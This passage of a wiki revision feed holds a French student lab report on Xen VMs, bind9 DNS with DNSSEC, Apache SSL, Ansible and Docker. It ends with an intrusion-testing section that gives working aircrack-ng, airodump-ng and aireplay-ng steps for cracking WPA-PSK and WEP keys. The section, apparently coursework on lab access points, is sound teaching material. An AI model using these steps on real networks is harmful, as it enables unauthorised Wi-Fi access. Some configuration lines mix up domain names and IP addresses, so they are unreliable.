  IP address : 193.48.57.180&lt;br /&gt;
&lt;br /&gt;
C'est l'association du serveur DNS créé avec notre adresse IP:&lt;br /&gt;
&lt;br /&gt;
Changement des nameserver sur gandi.net : &lt;br /&gt;
  DNS 1: ns.chlamydiae.site&lt;br /&gt;
  DNS 2: ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
===Serveur Apache===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du dossier /var/www/www.chlamydiae.pw&lt;br /&gt;
&lt;br /&gt;
*''' Certification SSL :'''&lt;br /&gt;
&lt;br /&gt;
Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :&lt;br /&gt;
   openssl req -nodes -newkey rsa:2048 -sha256 -keyout chlamydiae.pw.key -out chlamydiae.pw.csr&lt;br /&gt;
&lt;br /&gt;
On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement. &lt;br /&gt;
&lt;br /&gt;
*'''Configuration Apache :'''&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur web dans le fichier /etc/apache2/sites-available/chlamydiae.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:443&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 DocumentRoot /var/www/html/&lt;br /&gt;
                 CustomLog /var/log/apache2/secure_acces.log combined&lt;br /&gt;
 &lt;br /&gt;
                 SSLEngine on&lt;br /&gt;
                 SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt&lt;br /&gt;
                 SSLCertificateKeyFile /etc/ssl/private/hmyserver.key&lt;br /&gt;
                 SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
                 SSLVerifyClient None&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
redirection automatique du port http vers le port https &lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:80&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 Redirect / https://www.chlamydiae.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
==== DNSSEC ====&lt;br /&gt;
&lt;br /&gt;
Pour ajouter l'extension de sécurité sur notre DNS on l'active dans named.conf.options: &lt;br /&gt;
 dnssec-enable yes;&lt;br /&gt;
&lt;br /&gt;
Puis, nous créons le répertoire '''chlamydiae.site.dnssec''' dossier où on générera les clés.&lt;br /&gt;
Pour générer les clés  KSK on lance la commande suivante: &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE chlamydiae.site&lt;br /&gt;
Pour générer la clef asymétrique de signature (ZSK) de clefs de zone : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE chlamydiae.site&lt;br /&gt;
On renomme nos clefs avec des noms plus explicite : &lt;br /&gt;
 chlamydiae.site-ksk.key&lt;br /&gt;
 chlamydiae.site-ksk.private&lt;br /&gt;
 chlamydiae.site-zsk.key&lt;br /&gt;
 chlamydiae.site-zsk.private&lt;br /&gt;
&lt;br /&gt;
On inclue alors nos clefs en les ajoutant dans le fichier de zone '''/etc/bind/chlamydiae''' :&lt;br /&gt;
 $include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-ksk.key&lt;br /&gt;
 $include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-zsk.key&lt;br /&gt;
On signe les enregistrements de la zone en exécutant la  commande suivante (dans le répertoire chlamydiae.site-dnssec): &lt;br /&gt;
 dnssec-signzone -o chlamydiae.site -k chlamydiae.site-ksk ../chlamydiae.site chlamydiae.site-zsk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant que notre zone est signé.On  modifie le fichier '''named.conf.local''' pour utiliser le fichier de zone signé : &lt;br /&gt;
 file &amp;quot;/etc/bind/db.hadess.space.signed&amp;quot;;&lt;br /&gt;
On communique à gandi.net la partie publique de nos clés (chlamydiae.site-*.key) dans notre domaine pour l'onglet dnssec ajout external key ( faire attention de sélectionner l'algorithme rsaha1); on le fait pour KSK et ZSK.&lt;br /&gt;
&lt;br /&gt;
Enfin, on relance le service bind : &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs Web==&lt;br /&gt;
====Architecture générale de la ferme====&lt;br /&gt;
On commence par créer une seconde machien virtuelle:&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  # export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  # export https_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  # xen-create-image --hostname=private-chlamydiae --ip=ip 192.168.0.4 --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
On peut suivre l'avancement en faisant:&lt;br /&gt;
  tail -f /var/log/xen-tools/private-chlamydiae.log&lt;br /&gt;
&lt;br /&gt;
Ensuite on modifie les fichiers de configuration des 2 machines virtuelles présents dans /etc/xen/ :&lt;br /&gt;
Pour la première (chlamydiae):&lt;br /&gt;
&lt;br /&gt;
  vif = ['mac=00:16:3E:D0:18:F4, bridge=IMA5sc','mac=00:16:3E:D0:18:FE, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
Pour la seconde:&lt;br /&gt;
  vif = [ 'mac=00:16:3E:9A:57:AB, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On augmente également la mémoire à 512M pour les deux.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans la chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
   address 192.168.0.14         # = adresse de private-chlamydiae + 10&lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Dans private-chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   gateway 193.48.57.180       # l'adresse de la VM principale&lt;br /&gt;
   address 192.168.0.4&lt;br /&gt;
 &lt;br /&gt;
Puis les ifdown / ifup habituels, maintenant depuis chlamydiae on peut pinger private-chlamydiae.&lt;br /&gt;
&lt;br /&gt;
Pour faire la mascarade, sur chlamydiae:&lt;br /&gt;
  iptables -P FORWARD DROP&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24&lt;br /&gt;
  iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24&lt;br /&gt;
  echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour rendre la configuration persistante:&lt;br /&gt;
  apt install iptables-persistent &amp;gt; Yes &amp;gt; Yes&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on installe Ansible sur la VM principale (et Python sur la secondaire).&lt;br /&gt;
On crée un inventaire dans /etc/ansible/hosts en séparant l’ensemble des serveurs internes et le notre:&lt;br /&gt;
  ---&lt;br /&gt;
  all:&lt;br /&gt;
    hosts:&lt;br /&gt;
      nous:&lt;br /&gt;
        ansible_host: 192.168.0.4&lt;br /&gt;
    children:&lt;br /&gt;
      serveurs-internes:&lt;br /&gt;
        hosts:&lt;br /&gt;
          192.168.0.[1:6]&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On crée notre clé, que l'on propage sur l'ensemble des serveurs private:&lt;br /&gt;
  ssh-keygen -t rsa&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh 192.168.0.1 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On écrit notre premier playbook qui installe lsb-release et effectue la commande lsb_release -d:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: serveurs-internes&lt;br /&gt;
    tasks:&lt;br /&gt;
    - name: install lsb-release&lt;br /&gt;
      apt: &lt;br /&gt;
        update_cache=yes&lt;br /&gt;
        state=latest&lt;br /&gt;
        name =  { { item } }&lt;br /&gt;
      with_items:&lt;br /&gt;
      - lsb-release&lt;br /&gt;
    - name: test lsb release&lt;br /&gt;
      shell: 'lsb_release -d'&lt;br /&gt;
      register: ps&lt;br /&gt;
    - debug: var=ps.stdout_lines&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
On lance le playbook:&lt;br /&gt;
  ansible-playbook jeu-lsb-release.yml&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:jeu-lsb-release1.png|600px|center]]&lt;br /&gt;
[[Fichier:jeu-lsb-release2.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
===Paramétrage des rôles===&lt;br /&gt;
Crée un dossier roles dans /root &lt;br /&gt;
 mkdir roles &lt;br /&gt;
&lt;br /&gt;
Créer dans le dossier roles un dossier common et un fichier common.yml&lt;br /&gt;
 mkdir common &amp;amp;&amp;amp; vim common.yml &lt;br /&gt;
&lt;br /&gt;
Dans le fichier Common.yml: &lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: nous&lt;br /&gt;
    tasks:&lt;br /&gt;
      - name: include common&lt;br /&gt;
        include_role:&lt;br /&gt;
          name: common&lt;br /&gt;
&lt;br /&gt;
Dans le dossier common on crée deux dossiers, un dossier files contenant les fichiers (.conf, motd, etc.) et un dossier tasks où il y aura nos playbooks.&lt;br /&gt;
&lt;br /&gt;
===== Motd =====&lt;br /&gt;
Dans le dossier tasks on crée un fichier main.yml:&lt;br /&gt;
  - name: Write on motd&lt;br /&gt;
    copy:&lt;br /&gt;
       dest: /etc/motd&lt;br /&gt;
       src: motd&lt;br /&gt;
&lt;br /&gt;
Dans ce fichier on lui dit de copier le fichier motd qu'il cherche arbitrairement dans common/files vers le etc/motd de la machine à qui on applique le rôle.&lt;br /&gt;
Ce fichier motd contiendra notre message.&lt;br /&gt;
&lt;br /&gt;
===== NTP =====&lt;br /&gt;
Pour le serveur de temps dans le fichier main.yml on ajoute: &lt;br /&gt;
  - name: install ntp&lt;br /&gt;
    apt:&lt;br /&gt;
      name: ntp&lt;br /&gt;
  - name: install ntpdate&lt;br /&gt;
    apt:&lt;br /&gt;
      name: ntpdate  &lt;br /&gt;
  - name: Copy over the NTP configuration&lt;br /&gt;
    copy: src=ntp.conf dest=/etc/ntp.conf&lt;br /&gt;
    tags: ntp&lt;br /&gt;
   - name: Stop ntp&lt;br /&gt;
     service: name=ntp state=stopped enabled=yes&lt;br /&gt;
     tags: ntpd                            &lt;br /&gt;
  - name: Sync time initialy&lt;br /&gt;
    shell: ntpdate ntp.polytech-lille.fr&lt;br /&gt;
    tags: ntp&lt;br /&gt;
  - name: Make sure NTP is started up&lt;br /&gt;
    service: name=ntp state=started enabled=yes&lt;br /&gt;
    tags: ntp&lt;br /&gt;
&lt;br /&gt;
Dans le dossier files on crée ntp.conf qui référence notre NTP:&lt;br /&gt;
  server ntp.polytech-lille.fr&lt;br /&gt;
&lt;br /&gt;
====Installation de docker====&lt;br /&gt;
On commence par installer le rôle docker dont on a besoin:&lt;br /&gt;
  ansible-galaxy install geerlingguy.docker (la doc est ici https://github.com/geerlingguy/ansible-role-docker)&lt;br /&gt;
&lt;br /&gt;
Puis on crée notre playbook:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: nous&lt;br /&gt;
    vars:&lt;br /&gt;
      - pip_install_packages:&lt;br /&gt;
        - name: docker&lt;br /&gt;
      - docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian stretch stable&amp;quot;&lt;br /&gt;
    roles:&lt;br /&gt;
      - geerlingguy.pip&lt;br /&gt;
      - geerlingguy.docker&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
Ça fonctionne, on obtient sur la machine principale:&lt;br /&gt;
[[Fichier:result_jeu_docker.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
Sur la machine secondaire, on voit bien que docker a été installé:&lt;br /&gt;
[[Fichier:result-jeu-docker-bis.png|300px|center]]&lt;br /&gt;
&lt;br /&gt;
====Création de votre conteneur====&lt;br /&gt;
On suit ce tutoriel:&lt;br /&gt;
https://medium.com/@vi1996ash/steps-to-build-apache-web-server-docker-image-1a2f21504a8e&lt;br /&gt;
&lt;br /&gt;
Sur la machine secondaire:&lt;br /&gt;
- on crée notre index.html (basique)&lt;br /&gt;
- on crée notre dockerfile:&lt;br /&gt;
  FROM centos:latest&lt;br /&gt;
  MAINTAINER NewstarCorporation&lt;br /&gt;
  RUN yum -y install httpd&lt;br /&gt;
  COPY index.html /var/www/html/&lt;br /&gt;
  CMD [“/usr/sbin/httpd”, “-D”, “FOREGROUND”]&lt;br /&gt;
  EXPOSE 80&lt;br /&gt;
&lt;br /&gt;
On crée l'image:&lt;br /&gt;
  docker build DockerFiles/ -t webserver:v1&lt;br /&gt;
&lt;br /&gt;
[[Fichier:result-httpd.png|400px|center]]&lt;br /&gt;
&lt;br /&gt;
Puis on la run:&lt;br /&gt;
  docker run -dit -p 1234:80 webserver:v1&lt;br /&gt;
&lt;br /&gt;
====Configuration de vos serveurs internes====&lt;br /&gt;
====Equilibreur de charge====&lt;br /&gt;
&lt;br /&gt;
==Tests d’intrusion==&lt;br /&gt;
'''Cassage de mot de passe WPA-PSK par force brute'''&lt;br /&gt;
&lt;br /&gt;
Lors de la 2ème séance:&lt;br /&gt;
&lt;br /&gt;
Nous avons utilisé aircrack-ng pour lancer une recherche sur le mot de passe de l’identification par WPA-PSK en supposant que ce nombre est sur 8 chiffres.&lt;br /&gt;
&lt;br /&gt;
D'abord on vérifie que le Wi-Pi est connecté:&lt;br /&gt;
  ls usb&lt;br /&gt;
Ensuite on récupère le nom de notre interface:&lt;br /&gt;
  iwconfig&lt;br /&gt;
On obtient wlx40a5ef0125e9, si il n'est pas en mode 'Monitor' il est nécessaire de lancer la commande&lt;br /&gt;
  airmon-ng start wlx40a5ef0125e9&lt;br /&gt;
On récupère alors tout les points d'accès accessibles en wifi (et donc l'adresse de la cible) via:&lt;br /&gt;
  airodump-ng wlx40a5ef0125e9&lt;br /&gt;
Ensuite il faut récupérer le paquet OnCheck grâce à la commande suivante où -c permet de préciser le numéro du channel, -bssid l'adresse MAC de la cible et -w le path du fichier où écrire le résultat.&lt;br /&gt;
  airodump-ng -c 2 --bssid 04:DA:D2:9C:50:5D -w ./home/pifou/packedOneCheck wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons généré le dictionnaire, on a réalisé un script en C et un en Python:&lt;br /&gt;
&lt;br /&gt;
Celui en Python s’exécute en 39 s &lt;br /&gt;
  dictfile=open(&amp;quot;dict.txt&amp;quot;,&amp;quot;a&amp;quot;)&lt;br /&gt;
  for i in range(99999999):&lt;br /&gt;
    dictfile.write(str(i)+'\n')&lt;br /&gt;
  dictfile.close()&lt;br /&gt;
&lt;br /&gt;
Celui en C s’exécute en 7 s&lt;br /&gt;
  #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
  int main() {&lt;br /&gt;
    FILE *f;&lt;br /&gt;
    f= fopen(&amp;quot;dictc.txt&amp;quot;, &amp;quot;a&amp;quot;);	&lt;br /&gt;
    for(int i=0;i&amp;lt;=99999999;i++) {&lt;br /&gt;
      fprintf(f, &amp;quot;%08d\n&amp;quot;, i);&lt;br /&gt;
    }&lt;br /&gt;
    fclose(f);&lt;br /&gt;
    return 0;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
On peut alors lancer le cassage à l'aide de:&lt;br /&gt;
  aircrack-ng -a2 -b 04:DA:D2:9C:50:5D -w path_to_dict/dict.txt path_to_packedOneCheck_result/*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wpa-result.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Cassage de clef WEP d’un point d’accès Wifi'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On connaît déjà le nom de notre interface, on peut donc directement lancer la commande suivante pour récupérer le canal et le ssid de notre nouvelle cible:&lt;br /&gt;
  airodump-ng --encrypt xep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Comme précedémment avec le WPA on peut lancer la commande:&lt;br /&gt;
  airodump-ng -c 2 –-bssid 04:DA:D2:9C:50:50 -w Wep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Elle permet de capture les paquets qui transitent sur le réseau, l'objectif est de récupérer le maximum de vecteurs d'initialisation qui seront sauvegardés dans le fichier spécifié. Plus ce nombre de vecteurs est important, plus le cassage de la clé sera facilité. Pour augmenter le débit de paquets intéressants pour nous, on peut effectuer de fausses connexions à la machine cible via la commande:&lt;br /&gt;
  aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:5D wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Une fois le nombre de vecteur suffisants (on a choisit 30 000 pour une question de gain de temps), on peut arrêter ce processus et lancer le cassage avec:&lt;br /&gt;
  aircrack-ng Wep*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient alors le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wep-result.png|600px|center]]&lt;/div&gt;</summary>
		<author><name>Zbriois</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=51800</id>
		<title>TP sysres IMA5sc 2019/2020 G4</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=51800"/>
				<updated>2019-12-11T10:32:12Z</updated>
		
		<summary type="html">&lt;p&gt;Zbriois : /* Paramétrage des rôles */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Installation des systèmes d’exploitation: machine virtuelle Xen==&lt;br /&gt;
'''Lors de la 1ère séance:'''&lt;br /&gt;
&lt;br /&gt;
Nous avons d'abord réserver le nom de domaine via gandi.net: chlamydiae.site.&lt;br /&gt;
&lt;br /&gt;
Ensuite nous allons créer une machine virtuelle sur cordouan grâce à l’hyperviseur Xen.&lt;br /&gt;
On se connecte d'abord en SSH à Cordouan, puis on spécifie le proxy pour pouvoir ensuite récupérer les packages. On peut alors créer l'image de la machine en spécifiant --dhcp car on ne connaît pas encore l’adresse IP.&lt;br /&gt;
&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  export http_proxy=http://proxy.polytech.fr:3128&lt;br /&gt;
  xen-create-image --hostname=chlamidyae --dhcp --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
Adresse MAC obtenue: 00:16:3E:83:27:97&lt;br /&gt;
&lt;br /&gt;
'''Lors de la 2ème séance:'''&lt;br /&gt;
&lt;br /&gt;
Le fichier de configuration de notre machine virtuelle se trouve dans etc/xen/chlamydiae.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance chlamydiae, created&lt;br /&gt;
  # by xen-tools 4.7 on Mon Nov 18 17:11:19 2019.&lt;br /&gt;
  #&lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/disk.img,xvda2,w',&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/swap.img,xvda1,w',&lt;br /&gt;
                ]&lt;br /&gt;
  #    &lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'chlamydiae'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:D0:18:F4' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
==Architecture réseau==&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
On ajoute d'abord le bridge IMA5sc dans l’ensemble de nos VM&lt;br /&gt;
On leur ajoute également les disks: var, home et les 3 crées par l’autre groupe pour le RAID.&lt;br /&gt;
&lt;br /&gt;
On reboot les VM:&lt;br /&gt;
  xl reboot chlamydiae&lt;br /&gt;
ou&lt;br /&gt;
  xl destroy chlamydiae&lt;br /&gt;
  xl create chlamydiae.cfg&lt;br /&gt;
&lt;br /&gt;
Pour se connecter a une VM:&lt;br /&gt;
  xl console chlamydiae&lt;br /&gt;
&lt;br /&gt;
Pour permettre à la VM d'accéder à internet, on modifie sont etc/network/interfaces:&lt;br /&gt;
  # The primary network interface&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   address 193.48.57.180&lt;br /&gt;
   netmask 255.255.255.240&lt;br /&gt;
&lt;br /&gt;
Puis ifup / ifdown de eth0.&lt;br /&gt;
&lt;br /&gt;
Après l'ajout du gateway, nous arrivons désormais à pinger internet depuis notre machine virtuel, mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier etc/ssh/sshd_config et remplacer la ligne commentée :&lt;br /&gt;
  #PermitRootLogin prohibit-password&lt;br /&gt;
par&lt;br /&gt;
  PermitRootLogin yes&lt;br /&gt;
Il faut ensuite rebooter la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
On fait d'abord la demande de certificat sur Gandi.&lt;br /&gt;
&lt;br /&gt;
Ensuite pour la configuration du DNS:&lt;br /&gt;
- on commence par vérifier que la ligne suivante est bien présente dans le fichier /etc/bind/named.conf.options&lt;br /&gt;
  dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Sur Cordouan on installe bind9: &lt;br /&gt;
&lt;br /&gt;
   apt install bind9 bind9-host dnsutils&lt;br /&gt;
&lt;br /&gt;
Modification de la configuration de bind9 :&lt;br /&gt;
&lt;br /&gt;
On créé un fichier de configuration de zone chlamydiae.site dans /etc/bind/ avec le contenu suivant : &lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns.chlamydiae.site. root.chlamydiae.site (&lt;br /&gt;
 			3	; Serial&lt;br /&gt;
 			604800	; Refresh&lt;br /&gt;
 			86400	; Retry&lt;br /&gt;
 			2419200	; Expire&lt;br /&gt;
 			604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 	IN	NS	ns.chlamydiae.site.&lt;br /&gt;
 	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @      IN      A       193.48.57.180&lt;br /&gt;
 ns	IN	A	193.48.57.180&lt;br /&gt;
 www	IN	A	193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Faire bien attention à la fin des nameServer sinon bind9 ajoute automatiquement le nom du domaine.&lt;br /&gt;
&lt;br /&gt;
Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;hercule.space&amp;quot; {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/chlamydiae.site&amp;quot;; &lt;br /&gt;
         allow-transfer {217.70.177.40;}; //dns de gandi &lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.&lt;br /&gt;
&lt;br /&gt;
On redémarre bind9 :&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
En cas d'erreur on a accès au log dans /var/log/daemon.log&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net dans l'onglet Glue Records de notre domaine, il faut ajouter: &lt;br /&gt;
  name : ns.chlamydiae.site&lt;br /&gt;
  IP address : 193.48.57.180&lt;br /&gt;
&lt;br /&gt;
C'est l'association du serveur DNS créé avec notre adresse IP:&lt;br /&gt;
&lt;br /&gt;
Changement des nameserver sur gandi.net : &lt;br /&gt;
  DNS 1: ns.chlamydiae.site&lt;br /&gt;
  DNS 2: ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
===Serveur Apache===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du dossier /var/www/www.chlamydiae.pw&lt;br /&gt;
&lt;br /&gt;
*''' Certification SSL :'''&lt;br /&gt;
&lt;br /&gt;
Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :&lt;br /&gt;
   openssl req -nodes -newkey rsa:2048 -sha256 -keyout chlamydiae.pw.key -out chlamydiae.pw.csr&lt;br /&gt;
&lt;br /&gt;
On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement. &lt;br /&gt;
&lt;br /&gt;
*'''Configuration Apache :'''&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur web dans le fichier /etc/apache2/sites-available/chlamydiae.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:443&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 DocumentRoot /var/www/html/&lt;br /&gt;
                 CustomLog /var/log/apache2/secure_acces.log combined&lt;br /&gt;
 &lt;br /&gt;
                 SSLEngine on&lt;br /&gt;
                 SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt&lt;br /&gt;
                 SSLCertificateKeyFile /etc/ssl/private/hmyserver.key&lt;br /&gt;
                 SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
                 SSLVerifyClient None&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
redirection automatique du port http vers le port https &lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:80&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 Redirect / https://www.chlamydiae.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
==== DNSSEC ====&lt;br /&gt;
&lt;br /&gt;
Pour ajouter l'extension  de  sécurité sur notre DNS  on l'active  dans  named.conf.options  : &lt;br /&gt;
 dnssec-enable yes;&lt;br /&gt;
&lt;br /&gt;
Puis, nous créons le répertoire '''chlamydiae.site.dnssec''' dossier où on générera les clés.&lt;br /&gt;
Pour générer les clés  KSK on lance la commande suivante: &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE chlamydiae.site&lt;br /&gt;
Pour générer la clef asymétrique de signature (ZSK) de clefs de zone : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE chlamydiae.site&lt;br /&gt;
On renomme nos clefs avec des noms plus explicite : &lt;br /&gt;
 chlamydiae.site-ksk.key&lt;br /&gt;
 chlamydiae.site-ksk.private&lt;br /&gt;
 chlamydiae.site-zsk.key&lt;br /&gt;
 chlamydiae.site-zsk.private&lt;br /&gt;
&lt;br /&gt;
On inclu alors nos clefs en les ajoutant dans le fichier de zone '''/etc/bind/chlamydiae''' :&lt;br /&gt;
 $include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-ksk.key&lt;br /&gt;
 $include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-zsk.key&lt;br /&gt;
on  signe les enregistrements de la zone en executant la  commandde suivante (dans le répertoire chlamydiae.site-dnssec): &lt;br /&gt;
 dnssec-signzone -o chlamydiae.site -k chlamydiae.site-ksk ../chlamydiae.site chlamydiae.site-zsk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant que notre zone est signé.On  modifie le fichier '''named.conf.local''' pour utiliser le fichier de zone signé : &lt;br /&gt;
 file &amp;quot;/etc/bind/db.hadess.space.signed&amp;quot;;&lt;br /&gt;
on communique à ganid.net la parti publique de nos clé (chlamydiae.site-*.key) dans notre domaine pour l'onglet dnssec ajout external key ( faire attention de sélection l'algorithme rsaha1). on le fait pour KSK et ZSK &lt;br /&gt;
&lt;br /&gt;
Enfin, on relance le service bind : &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
